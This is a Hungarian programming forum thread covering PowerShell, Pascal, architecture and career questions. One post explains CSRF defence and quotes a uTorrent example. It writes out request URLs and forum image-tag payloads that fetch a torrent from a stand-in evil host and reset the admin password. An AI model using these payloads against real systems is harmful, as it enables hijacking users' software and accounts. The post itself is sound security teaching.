-
Fototrend

Új hozzászólás Aktív témák
-
válasz
klambi
#16073
üzenetére
nem összefűzni:
$LogFile = "D:\Temp\$(get-date -f yyyyMMddhhmmss).txt"
Get-ChildItem -Path "D:\scan" -Recurse -Force | Where-Object { $_.PSIsContainer -eq $false -and $_.Length -eq 0} | ForEach-Object {
$_ | del -Force
$_.FullName | Out-File $LogFile -Append
}
vagy$LogFile = "D:\Temp\$(get-date -f yyyyMMddhhmmss).txt"
Get-ChildItem -Path "D:\scan" -Recurse -Force | Where-Object { $_.PSIsContainer -eq $false -and $_.Length -eq 0} | Tee-Object -FilePath $LogFile -Append | del -Force -
-
válasz
Demertin
#15880
üzenetére
Ha jól rémlik katonai műszaki gépészetet idehaza csak az NKE-n tudsz tanulni, de nem rémlik, hogy az alapszakon (katonatiszti képzés) kívül volna más lehetőség ezt elvégezni.
Még anno a politechnikumos időkben talán volt erre elméleti lehetőség (1995 körül), de manapság... Ráadásul ha jól tudom a repülőmérnöki és a gépjármű-mérnöki szakok is külön vannak. -
válasz
MostaPista
#15867
üzenetére
Nagyjából hasonló "rendszert" fejleszettem egy kis cégnek egy 3 fős csapattal 20 éve (nagyjából 6 hónapos fejlesztés volt, utána a cég még kb 15 évig "gondozta" a programot). A cég (tíz)milliókat kért érte megfelelő helyeken amiket persze meg is kapott.
Egy feladat leprogramozása nem csak arról szól, hogy legyen egy listád amiben van némi hierarchia. A programnak rendelkezni kell felhasználói felülettel (ez vitte el a fejlesztési idő kb 75%-át amúgy), a belső logikának pedig biztosítania kell a konzisztenciát, a hierarchiának megfelelő változásokat. Az egymással kapcsolatban álló eseményeknek nem szabad elárvulniuk, ha valami változás történik a struktúrában. És természetesen ezeket a belső logikai szabályokat a megrendelőnek kell specifikálnia - ami az esetek nagy részében azt jelenti, hogy használat közben belefutnak valami "hibába", és akkor derül ki, hogy azt nem specifikálták le, mi pedig megírtuk úgy ahogy a legegyértelműbb volt nekünk. -
-
válasz
pmonitor
#15663
üzenetére
Amit keresel azokat úgy hívják, hogy nyelvi csomagok. Általában vannak az adott (magasabb szintű) programozási nyelvekhez 'hivatalos' tárolók, ahol elérhetők ilyen kódtárak (vagy már lefordított függvénykönyvtárak.
Természetesen az esetek nagy részében ezek hatékonyságát és/vagy gyorsaságát senki nem fogja ellenőrizni (legfeljebb a kód tényleges felhasználói). Pythonhoz ilyen pypi, de ilyen a github is nyelvfüggetlenül (vagy a github előtti időkben a sourceforge).Amúgy szerinted ki töltené az értékes (és meg nem fizetett) idejét azzal, hogy más kódjait túrja hibák, optimalizálatlanság, memory leak, vagy csak hanyag implementáció után kutatva? Legfeljebb a "biztonsági kutatók", akik ezen hibákon keresztül, ilyen kódot futtató rendszerekbe juthatnak be (de a hibákat javítani ők sem fogják). De pl az, hogy egy sort vagy permutációs algoritmus nincs jól optimalizálva szerintem még az ő érdeklődési szintjüket se üti meg...
-
válasz
pmonitor
#15626
üzenetére
Amúgy visszatérve az eredeti felvetére - egyetemi jegyzet vs optimalizált kód.
Legtöbbször az egyetemi jegyzetben levő kód az optimalizáció rosszabbik végén van (nem pedig középtájon), hogy a hallgatók jobban megértsék a kód működését és képesek legyenek elsajátítani az alapvető programozási technikákat.
Hacsak nem optimalzációs techikákról szól az adott tantárgy/témakör, szvsz nem fogsz találni még közepesen optimalizált kódot se.
#15628 - szerintem a StackOverflow-n van több olyan bejegyzés is, ami az adott eljárás optimalizációját tárgyalják ki.
Alapvetően ez nem egy programozási fórum, vsz nem fogsz találni túl sok fórumozót, akit ez különösképp megmozgatná (ráadásul úgy, hogy nyelvfüggetlen / nyelvek közötti optimalizációt szeretnél kibeszélni). Egyébként semmi nem akadályoz meg abban, hogy Logouton indíts erről egy sorozatot, és ha lesz rá kereslet a hozzájuk tartozó fórumtémák is aktívak lesznek... -
válasz
martonx
#15623
üzenetére
És jönne az a kérdés, hogy fejlesztő csapat az elején miért nem 100+-os felhasználói bázisra írta meg? Mert valószínűleg volt egy árajánlat
- egy 20+ felhasználói csoportra egyszerű kódbázissal, ami X idő alatt lékszül Y forintból és N darab gép kell alá;
- és egy 100+ useres robosztusabb, elosztott változat, ami 1.5X idő alatt készül el, 2Y pénzbe kerül és N+5 darab gép kell alá.
Ebből nagy valószínűséggel az ügyfél az olcsóbb és gyorsabban elkészülő és könnyebben üzemeltethető megoldást választja - amennyiben az számára elegendő - az esetek 99.99%-ban. -
válasz
pmonitor
#15594
üzenetére
Igazából senkit sem érdekel, hogy minél gyorsabban fusson valami, az érdekes, hogy az elvárt időn belül lefusson. Ha az elvárt idő 7 mp és lefut 2 mp alatt, akkor nem fogják árírni c-be vagy assy-ba, hogy 0.05 mp alatt lefusson.
Ja és sokkal valószinűbb, hogy ha 10 mp alatt futna le, akkor se keresnek másik programozási nyelvet, hanem csak egy gyorsabb implementációt ugyanarra a problémára (ha van ilyen). -
válasz
ValGerald
#15404
üzenetére
Kb 10 éve végeztem Miskolcon, igaz másoddiplomán. Állítólag alapképzésben is durva a valszám és a kapcsolódó tárgya (infoelmélet pl), és a diszkrét matek. Ezek szórótárgyak voltak anno, a vizsgákon a jelentkezők max 30-40%-a ment át. Másoddiplomán durva volt hogy 7 félévet kellett lenyomjunk (amiből 3 szinte csak matek volt), míg Veszprémben megúsztam volna 4 félévből.
-
válasz
fatal`
#14985
üzenetére
Régesrégen, az őskorban még így volt. Szvsz a régebbi motorosok (moderátorok), megmaradtak a régi szokésban és inkább egybeszerkesztetik a többszörös hozzászólásokat. Szerintem ez egyébként az oldal öröksége, és nincs vele sokszor probléma.
Nem egy csetkliens ez, hogy mindenkinek mindenre válaszolni kelljen. -
válasz
DrojDtroll
#14979
üzenetére
ja, hogy ezek, már rémlik, hogy belehegesztettem valami JS-be a szabályokat...
-
Nem tudom volt-e már, de diákoknak egy csomó ingyenes cuccot ad most a Microsoft (github). Ha tudjátok igazolni a diákságot, akkor erre lehet érdeklődni:https://education.github.com/packLOL - most nézem, hogy idehaza csak a GreenFox a partner? WTF?
-
válasz
Ezekiell
#14361
üzenetére
A bankautomaták 95%-a meg COBOL-t használ, mégse ajánlanád, ugye?
A bankautomaták 99%-a Windows alapú - sajna egy jelentős részük még Win 7 -, és régóta nem láttak márCOBOL-t (gyakorlatilag mióta rendes PC van bennük - kb a 386-os korszak óta).
Pontosabban COBOL fejlesztést. Van ugyan egy COBOL stub az ATM-eken, ami a kártyaelfogadó rendszerekkel kommunikál, de ezeket senki nem fogja piszkálni (legfeljebb konfigurálgatni). Az alap banki rendszerek (számlavezető rendszerek és a kártyaelfogadó rendszerek) egy jelentős része az, ami COBOL-ban íródott. -
válasz
MasterDeeJay
#14315
üzenetére
rowselect-nél ez by design így megy. csak kerülőutat tudsz csinálni magadnak (pl másik shortcut, submenu, vagy duplakattintásra cella másolás)
Esetleg, ha RowHeaderSelect-et állítasz be SelectionMode-nak és a ClipboardCopyMode-nak pedig EnableWithoutHeaderText-et, akkor látni fogod, melyik sorban állsz, de nem másolja az első cellát is.
-
Sajna nincs min kipróbálnom - csak fejből ment. Az Exit amúgy miért nem szép? Minden tisztességes programozási nyelvben van return, exit function vagy ilyesmi.
Értem én, hogy egy programban célszerű, ha egy visszatérési pont van, de egyrészt be kell vezetni egy plusz változót, másrészt a beágyzott if-ek se néznek ki szépen, még ha nem is úgy van formázva, hogy ez lásson... szerintem. -
válasz
janos1988
#14000
üzenetére
A kódot nem igazán sikerült megfejtenem, csak, hogy egy végtelen rekurzív ciklusba fut (a for ciklusban mindig kötelezően meghívja magát...)
mod: hiányzik az exit az if-ek végéről
program ermek_demo;constn=2;typea = array [1..n] of integer;constermek:a=(1,2);function f_kombok(ermek:a;osszeg:integer;temp_index:integer):integer;vartemp:integer;beginif osszeg=0 thenf_kombok:=1;exit;end;if osszeg<0 thenf_kombok:=0;exit;end;f_kombok:=0;for temp:=temp_index to n do f_kombok:=f_kombok+f_kombok(ermek,osszeg-ermek[temp],temp);end;beginwriteln(f_kombok(ermek,4,1));readln;end.modmod: kib&@#{ kódszerkesztő
-
Nem lehet, hogy maga a memory manager tart ott valamit és azért enged oda allokálni.
Én kis foglalásokkal kitesztelném, hogy melyik az a tartomány, amit nem lehet foglalni (biztos van valahol egy tiltott rész) és utána próbálnék rájönni, hogy mi foglalja (vagy miért nem sikerül felszabadítani.
Ha valami realtime cuccot csináltok, akkor simán lehet, hogy valami memória-allokátor
bugfeature lesz. -
válasz
instantwater
#13418
üzenetére
-
válasz
instantwater
#13408
üzenetére
Excel kiválóan működik REST kliensként, aktívan használom erre.
-
Van olyan funkciója az alkalmazásnak, amire egy weboldal nem lenne képes?
Céges store-hoz ráadásul kell még egy csomó minden...
-
válasz
kovacslevi98
#13065
üzenetére
-
válasz
Dave Crank
#12988
üzenetére
Jó kérdés, miért lassú a cpp program - simán elképzelhető, hogy nem a program, hanem az eszköz hibája.
Amúgy bármiben meg tudod írni, ami kezel soros portot - akár pythonban is. Válassz egy neked szimpatikus nyelvet és kezdj neki. -
válasz
bambano
#12821
üzenetére
A kolléga a #12810-ban vagy ötször leírta, hogy biztonsági jellegű aggodalmai vannak. Lehet, hogy egy cronatbbal és exporttal megoldható (mondjuk nem tudom az iptablessel mit csinálna), de szvsz pont azt akarja elkerülni, hogy bárki turkáljon az adatokban - persze lehet, hogy tévedek.
-
#12792 Citroghost:
Adatbázis admin kollégáim közül nem egy volt kénytelen "szakirányt váltani". Nem hogy 3 hónapnyi SQL ismerettel, de 5-10 év DBA tapasztalattal sem egyszerű elhelyezkedni, ha az embernek váltani kell és nincs mellette más, csak DB ismeret...Amerika pedig egyértelműen más: egyrészt ~30.000 informatikus hiányzik a szakmából, másrészt nem hogy támogatják, ha az ember csak egyvalamihez ért (pl DB), hanem általában nem is nézik jó szemmel, ha az ember más feladatkörbe "belekontárkodik".
-
-
válasz
bandi0000
#12733
üzenetére
Mindegy, hogy session-id-t használsz magában, vagy CSRF-et is külön - ha a session id nem cookie-ban megy, hanem form fieldben. Viszont ha Cookie alapú session kezelésed van, akkor kell GET/POST paraméter alapú CSRF token is.
Általánosságban viszont CSRF-védelem csak azokhoz az erőforrásokhoz kell, amelyek változtatnak szerveroldali állapoton (pl logon/logoff, konfig/erőforrás változtatás, tranzakció, create/update/delete) Kizárólag view request-ekhez nem kell CSRF token.
-
válasz
bandi0000
#12731
üzenetére
A CSRF védelem lényege, hogy minden hívásnál random (vagy csak nagyon rövid ideig - egy oldal életciklusáig - él). A tokent nem cookie-ban vagy más lokális store-ban tároljuk, hanem a lap kódjában kerül eltárolásban (legtöbbször hidden form field-ben, mert lekérésnél vissza kell adni a szervernek). A védelem lényege az, hogy a felhasználó nevében nem lehet olyan kérést indítani, aminek a "forrása" nem a kérdéses weboldal.
Illetve a fenti megoldás a "secure" mód - de ez elcseszi a vissza-gomb működését ("CSRF Failure"-t hibát generál), legtöbbször - alacsonyabb biztonsági szinthez, session-élettartamú CSRF-tokent generálnak.
Ennek a védelemnek egyébként az a feltétele, hogy atámadó ne tudja megszerezni a session/csrf token-t (azaz ne legyen az alkalmazásban XSS sebezhetőség - vagy az alkalmazás csrf token segítségével ezonosítsa a felhasználót ne csak session cookie és/vagy kliens ip alapján).
Jó példa erre (wikiből) az alábbi uTorrent sebezhetőség:
Torrent letöltés hozzáadása:
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
uTorrent administrator password megváltoztatása
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladminCSRF támadó kód simán kivitelezhető pl egy IMG tag hozzáadásával, ami a sebezhető címre mutat (BBCode):
[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]
vagy ide a PH-ra:[IMG:http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent][/IMG] -
válasz
FidelKasztró
#12247
üzenetére
1. lehetőség:
A szoftver fejlesztője már megírta, hogy nem hajlandó az ilyesmire, így nem veszed meg. Ja de mégis, mert speciális szoftver és nincs kokurencia. Amikor gépet cserélsz, majd megveszed újra.
2. lehetőség:
Veszel egy NAS-t és feltelepíted arra. Használat után (igazából amikor gépet cserélsz), rájössza arra, hogy a szoftvert messziről nem érdekli, hogy milyen meghajtóra telepítetted, mert a futtató gép paramétereihez (pl CPU ID) regisztrálta magát. Gépcserekor megveszed újra.
3. lehetőség:
PM-bem megtalál innen (vagy máshonnan) valalki, aki hajlandó neked kiiktatni a végelmet (pénzért, vagy szimlán jófejségből). Ez visztont BTK, és mivel drága szoftverről van szó (gondolom 50.000 forint felett), így ez már bűncselekmény kategória. Ezért (értelemszerűen) itt a topikban nem fog neked senki segíteni. -
válasz
#81999360
#12229
üzenetére
vbscript + sendkey vagy appactivate
http://www.vbforums.com/showthread.php?514799-SendKeys-quot-alt-Tab-quot-doesnt-work-P
Clipboard, ha a ctrl+c és ctrl+v nem menne:
https://gist.github.com/simply-coded/4f4c4ab714803b33ee2f88258814c383 -
válasz
dajkapeter
#12163
üzenetére
Olvasd végig a vDOS FAQ-t. Mivel fogalmunk sincs, hogy épül fel a könyvtárszerkezet és milyen feltételei vannak a program futásának, így azt csak próbálkozva lehet majd valószínüleg működésre bírni.
-
válasz
BTminishop
#12079
üzenetére
akkumulátor használatával:
loop R2:
add R1 // ACC += R1
endloop
store R3 // ACC -> R3vagy ha nincs ilyen add utasítás:
clear R3
loop R1
loop R2
inc R3
endloop
endloopmondjuk jó kérdés, hogyan nullázol ki egy regisztert egyoperandusú utasítással (ha nincsenek akkumulátor utasítások)
De rájöttem (asszem):
push 0
pop R3
push R1
pop CX
:loop_R1
push CX
push R2
pop CX
:loop_R2
inc R3
loop loop_R2
pop CX
loop loop_R1 -
válasz
V.Stryker
#12064
üzenetére
Céges gépen (admin nélkül) rakd fel az anakondát vagy a python-t így:
1. Letöltés - https://www.python.org/downloads/
2. CMD:cd Downloads
msiexec /a <installer file> TARGETDIR=%USERPROFILE%\python
cd %USERPROFILE%\python
.\python.exe -m ensurepip3. user-scope környezeti változók közé hozzáadni:
PATH=%USERPROFILE%\python;%USERPROFILE%\python\scripts -
válasz
Jim Tonic
#11957
üzenetére
Kérdés az mennyire védhető az adott architektúra, és mennyire tekintjük megbízhatónak a klienst.
Amennyiben a vastagklient ténylegesen csak megjelenítő funkciókat lát el és nincs benne üzleti logika, és nem kapcsolódik közvetlenül az adatbázishoz, akkor nincs semmi probléma - de onnantól kezdve, hogy funkciókat, döntéseket, ellenőrzéseket viszünk be a vastagkliensbe, a rendszer egyszerűen feltörhetővé/visszafejthetővé válik. Egy vállalati rendszerben a zártság kiemelt fontosságú (-nak kellene legyen). -
A vékonykliensnek egyértelműen előnye a könnybben (természetesebben) megvalósítható többrétegű model, melyben kevesebb kockázatot tolunk a kliensbe. Amennyiben fontos, hogy jobban vigyázzon a rendszer a hozzáférésekre (pl adatbázis jelszó) és kizárólag csak a hozzáférési joghoz való funkciókat tegye hozzáférhetővé, akkor ez a járandó út.
Vastagkliensnél gyakran helyeznek el üzleti logikát, hozzáférési adatokat (beégetett jelszót, tanusítványokatt). Ezek egy hozzáértő kezében a rendszer jelszavai nélkül is kinyerhetők. Másrészt sokszor a vastagkliens látja el az autorizáció feladatait is (csak a szükséges menüpontokat / lehetőségeket jeleníti meg), de a háttérben teljes joggal fut (admin, vagy dba jogokkal). Az ilyen kliens-oldali korlátozásokat könnyű kikerülni.
Ha a fentiek nem fontosak (és néhány éven belül nem is lesznek azok), akkor érdemes lehet vastagkliensre fejleszteni. Ha elképzelhető, hogy a rendszert vállalati környezetben is fogják használni, akkor irány a vékonykliens és három- (vagy több-) rétegű architektúra.
Új hozzászólás Aktív témák
● olvasd el a téma összefoglalót!
- Házimozi belépő szinten
- Milyen belső merevlemezt vegyek?
- Szerkesztett és makrofotók mobillal
- Az eddigi legolcsóbb, 3D V-Cache-t használó CPU-ját hozta forgalomba az AMD
- Horgász topik
- Háremet tartana az adattárolókból a Chieftec letisztult dizájnú háza
- Disney+
- Eredeti játékok OFF topik
- Parkside szerszám kibeszélő
- gban: Ingyen kellene, de tegnapra
- További aktív témák...
- Lenovo LOQ 15IRH8 / i5-13500H / RTX 4060 / 16GB / garancia
- Lenovo ThinkPad T14s Gen 2 Ryzen 5 PRO 16GB RAM 256GB SSD FHD Touch 97% akku, szép állapotú
- ASUS Vivobook S15 OLED BAPE Edition (K5504VA) - Full Blue Bundle - 120Hz 3K OLED
- Lenovo ThinkPad T440,14",HD+,i5-4200U,8GB RAM,500GB SATA3 HDD,WIN10
- Lenovo ThinkPad T14 Gen1 Ryzen 7 PRO / 16GB RAM / 256GB SSD / FHD
- Gamer PC-Számítógép! Csere-Beszámítás! Ultra 5 245KF / RTX 5060 / 16GB RGB DDR5 / 1TB Nvme SSD
- Samsung Galaxy S10+ / 8/128GB / Kártyafüggetlen / 12Hó Garancia
- ÁRGARANCIA! Épített KomPhone Ultra 9 285K 64GB RAM RTX 5090 32GB GAMER PC termékbeszámítással
- Apple iPhone 16 Pro 128GB Natural Titanium használt, karcmentes 90% akku 6 hónap garancia
- iKing.hu Nothing Phone 2 Pro 8/128GB White használt karcmentes 6 hónap garancia
Állásajánlatok
Cég: Laptopműhely Bt.
Város: Budapest




